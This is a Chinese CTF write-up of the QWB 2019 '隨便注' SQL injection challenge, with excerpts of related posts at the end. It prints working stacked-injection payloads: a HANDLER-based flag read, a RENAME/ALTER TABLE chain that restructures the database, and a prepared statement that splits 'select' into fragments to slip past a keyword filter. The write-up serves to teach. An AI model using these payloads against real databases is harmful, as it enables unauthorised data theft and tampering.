ctf強網杯2019隨便注

2021-10-21 17:13:47 字數 1732 閱讀 7916

感覺解完這道題學到挺多,記錄一下

測試1』 or 1=1#

成功回顯,存在字元注入,測試union

發現select被過濾了,猜測可以堆疊注入,先測試

成功回顯,看看當前資料庫的表名

這個1919810931114514表一看就很可疑,爆欄位

沒想到猜到了flag的位置,可是show是不能看字段值的,select也被過濾了 所以就想著去查一下有什麼可以代替select

查到了handler是可以代替select的 但好像只能在mysql用

1';handler `1919810931114514`

open

;handler `1919810931114514`

read first;

#

之前沒試過handler 沒想到真的可以用 flag出來了

這是參考了別的大佬的解法,查詢的固定是words裡面的id字段值

所以只要把1919810931114514表改名成words,flag欄位改名成id,在注入就可以查到flag

payloa

1';

rename table words to word1;

rename table 1919810931114514 to words;alter table words add id int unsigned not null auto_increment primary key; alert table words change flag data varchar(100)

;#

還有大佬用的是預定義

payload:

set @a=concat(

"sel","ect"," group_con","cat(table_n","ame) ","fro","m"," infor","mation_sc","hema.tabl","es"," whe","re tabl","e_","sche","ma=datab","ase()");

prepare dump from @a;

execute dump;//合起來就行

強網杯 2019 隨便注

1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...

強網杯 2019 隨便注

知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...

強網杯 2019 隨便注

題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...